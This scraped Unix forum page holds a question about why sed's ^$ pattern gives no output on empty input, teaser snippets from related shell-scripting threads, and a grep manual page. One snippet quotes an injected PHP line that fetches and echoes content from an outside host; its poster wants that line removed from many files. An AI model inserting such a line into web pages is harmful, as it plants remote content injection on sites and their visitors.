05-29-2008
null string matching in sed?
Hello,
I would assume the expression ^$ should match a null string. Yet when I run:
echo -n | sed 's/^$/nullstring/'
I get no output.
Can anyone tell me why?
10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
I am trying to search through a text file and replace the number 1 at the beginning of the string in the second field with the number 9. There maybe one or more occurrences of whitespace between the string GPA131 and 17049333610. Does anyone know how to do this with sed?
GPA131 17049333610
... (1 Reply)
Discussion started by: cstovall
1 Replies
2. Shell Programming and Scripting
Hi guys, I hope you can help me with my problem.
I have a text file that contains lines like this:
78 ANGELO -809.05
79 ANGELO2 -5,000.06
I need to find all occurences of amounts that are negative and replace them with x's
78 ANGELO xxxxxxx
79... (4 Replies)
Discussion started by: amangeles
4 Replies
3. Shell Programming and Scripting
Hi,
If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line)
how to check whether data is present on that position or not?
Thnx in advance (6 Replies)
Discussion started by: misenkiser
6 Replies
4. Shell Programming and Scripting
Hi,
I need to check for value not equal (<>) to 21 and not equal empty or null values.
Please modify this script
if
then
echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out
end if
TQ (5 Replies)
Discussion started by: doer
5 Replies
5. Shell Programming and Scripting
Hello,
I need a script or one liner possible in perl or awk ( as sed shows error )
I want to replace
<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?>
with blank or null
1) in a file
2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies
6. Shell Programming and Scripting
I'm using the URL Regex feature of Squid for allowing sites via a list of regex strings to match allowed domains. The regex was actually copied from our previous proxy solution and it seemed to "just work". But, we've recently discovered that some domains (likely due to virtual hosts or host... (2 Replies)
Discussion started by: deckard
2 Replies
7. Shell Programming and Scripting
I have a string like
In this string I want to delete both "." and ":", means I want the output as:
How can I do that using "tr" or any other such command? (6 Replies)
Discussion started by: ash.g
6 Replies
8. Shell Programming and Scripting
Hi, I'm very new to shell scripting and have searched google and this forum for quite some time now.
I have the following in my xml file:
<recipients>
<member>value1</member>
</recipients>
I need to find a string <recipients> that follows with a new-line and bunch of spaces and... (5 Replies)
Discussion started by: mgharios
5 Replies
9. Shell Programming and Scripting
I have an input file having 7 fields delimited by ,
eg :
1,ABC,hg,1,2,34,3
2,hj,YU,2,3,4,
3,JU,kl,4,5,7,
4,JK,KJ,3,56,4,5
The seventh field here in some lines is empty, whereas the other lines there is a value.
How do I insert string NULL at this location (7th loc) for these lines where... (8 Replies)
Discussion started by: zilch
8 Replies
10. Shell Programming and Scripting
I want to be able to get all the directories in a path into a variable array, BUT if there ARE NO directories I want the Variable to be NULL and not echo any error message!
If there ARE directories, this will get the list of the directories whose name begins with the string "20":... (6 Replies)
Discussion started by: pgorbas
6 Replies
GREP(1) General Commands Manual GREP(1)
NAME
grep - search a file for a pattern
SYNOPSIS
grep [ option ... ] pattern [ file ... ]
DESCRIPTION
Grep searches the input files (standard input default) for lines (with newlines excluded) that match the pattern, a regular expression as
defined in regexp(6). Normally, each line matching the pattern is `selected', and each selected line is copied to the standard output.
The options are
-c Print only a count of matching lines.
-h Do not print file name tags (headers) with output lines.
-i Ignore alphabetic case distinctions. The implementation folds into lower case all letters in the pattern and input before interpre-
tation. Matched lines are printed in their original form.
-l (ell) Print the names of files with selected lines; don't print the lines.
-L Print the names of files with no selected lines; the converse of -l.
-n Mark each printed line with its line number counted in its file.
-s Produce no output, but return status.
-v Reverse: print lines that do not match the pattern.
Output lines are tagged by file name when there is more than one input file. (To force this tagging, include /dev/null as a file name
argument.)
Care should be taken when using the shell metacharacters $*[^|()= and newline in pattern; it is safest to enclose the entire expression in
single quotes '...'.
SOURCE
/sys/src/cmd/grep.c
SEE ALSO
ed(1), awk(1), sed(1), sam(1), regexp(6)
DIAGNOSTICS
Exit status is null if any lines are selected, or non-null when no lines are selected or an error occurs.
GREP(1)